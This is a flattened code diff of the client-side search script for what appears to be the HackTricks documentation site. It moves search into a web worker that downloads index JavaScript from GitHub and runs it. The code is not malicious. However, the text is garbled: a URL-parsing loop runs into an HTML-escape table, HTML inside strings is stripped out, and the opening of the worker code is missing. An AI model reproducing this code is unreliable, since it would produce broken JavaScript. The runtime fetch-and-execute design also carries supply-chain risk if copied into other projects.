search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} - } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); - }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); - } - - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } - - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); - } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude - }); - - var markers = document.querySelectorAll("mark"); - function hide() { - for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); - } - } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } - } - } - - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { - unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { - focused.classList.remove("focus"); - next.classList.add("focus"); - } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); - } - } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); - } - } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); - removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } - - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; - } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 10_000; - - const injectScript = (src) => - new Promise((resolve, reject) => { - const s = document.createElement("script"); - s.src = src; - s.onload = () => resolve(src); - s.onerror = (e) => reject(e); - document.head.appendChild(s); + if(!rawLoaded) return null; /* give up on this index */ + const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud }; + delete self.search.index; delete self.search.doc_urls; + return data; + } + + (async () => { + const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js'; + const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js'; + + const indices = []; + const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main); + const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud); + + if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } + + /* build index objects */ + const built = indices.map(d => ({ + idx : elasticlunr.Index.load(d.json), + urls: d.urls, + cloud: d.cloud, + base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' + })); + + postMessage({ready:true}); + const MAX = 30, opts = {bool:'AND', expand:true}; + + self.onmessage = ({data:q}) => { + if(!q){ postMessage([]); return; } + + const all = []; + for(const s of built){ + const res = s.idx.search(q,opts); + if(!res.length) continue; + const max = res[0].score || 1; + res.forEach(r => { + const doc = s.idx.documentStore.getDoc(r.ref); + all.push({ + norm : r.score / max, + title: doc.title, + body : doc.body, + breadcrumbs: doc.breadcrumbs, + url : s.base + s.urls[r.ref], + cloud: s.cloud }); - - try { - /* 1 — download raw JS from GitHub */ - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), TIMEOUT_MS); - - const res = await fetch(rawUrl, { signal: controller.signal }); - clearTimeout(timer); - if (!res.ok) throw new Error(`HTTP ${res.status}`); - - /* 2 — wrap in a Blob so the browser sees application/javascript */ - const code = await res.text(); - const blobUrl = URL.createObjectURL( - new Blob([code], { type: "application/javascript" }) - ); - - /* 3 — execute it */ - await injectScript(blobUrl); - - /* ───────────── PATCH ───────────── - heavy parsing now deferred to idle time - */ - requestIdleCallback(() => init(window.search)); - return; // ✔ UI remains responsive - } catch (eRemote) { - console.warn("Remote JS failed →", eRemote); - } - - /* ───────── fallback: local copy ───────── */ - try { - await injectScript(localJs); - - /* ───────────── PATCH ───────────── */ - requestIdleCallback(() => init(window.search)); - return; - } catch (eLocal) { - console.error("Local JS failed →", eLocal); - } - })(); - - // Exported functions - search.hasFocus = hasFocus; - })(window.search); \ No newline at end of file + }); + } + all.sort((a,b)=>b.norm-a.norm); + postMessage(all.slice(0,MAX)); + }; + })(); + `; + + /* ───────────── 2. spawn worker ───────────── */ + const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); + + /* ───────────── 3. DOM refs ─────────────── */ + const wrap = document.getElementById('search-wrapper'); + const bar = document.getElementById('searchbar'); + const list = document.getElementById('searchresults'); + const listOut = document.getElementById('searchresults-outer'); + const header = document.getElementById('searchresults-header'); + const icon = document.getElementById('search-toggle'); + + const READY_ICON = icon.innerHTML; + icon.textContent = '⏳'; + icon.setAttribute('aria-label','Loading search …'); + + const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; + let debounce, teaserCount=0; + + /* ───────────── helpers (teaser, metric) ───────────── */ + const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); + const URL_MARK='highlight'; + function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} + + function makeTeaser(body,terms){ + const stem=w=>elasticlunr.stemmer(w.toLowerCase()); + const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; + const W=[],sents=body.toLowerCase().split('. '); + let i=0,v=W_F,found=false; + sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); + if(!W.length) return body; + const win=Math.min(W.length,WIN); + const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; + for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; + const best=found?sums.lastIndexOf(Math.max(...sums)):0; + const out=[]; i=W[best][2]; + for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} + return out.join(''); + } + + function format(d,terms){ + const teaser=makeTeaser(escapeHTML(d.body),terms); + teaserCount++; + const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); + const parts=d.url.split('#'); if(parts.length===1) parts.push(''); + const abs=d.url.startsWith('http'); + const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; + const style=d.cloud?" style=\"color:#1e88e5\"":""; + const isCloud=d.cloud?" [Cloud]":" [Book]"; + return ``+ + `${d.breadcrumbs}${isCloud}${teaser}`; + } + + /* ───────────── UI control ───────────── */ + function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} + function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} + + icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); + + document.addEventListener('keydown',e=>{ + if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; + const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); + if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} + else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} + else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} + }); + + bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); }); + + /* ───────────── worker messages ───────────── */ + worker.onmessage = ({data}) => { + if(data && data.ready!==undefined){ + if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } + else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + return; + } + const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); + header.textContent=metric(docs.length,q); + clear(list); + docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); + listOut.classList.toggle('hidden',!docs.length); + }; + })(); + \ No newline at end of file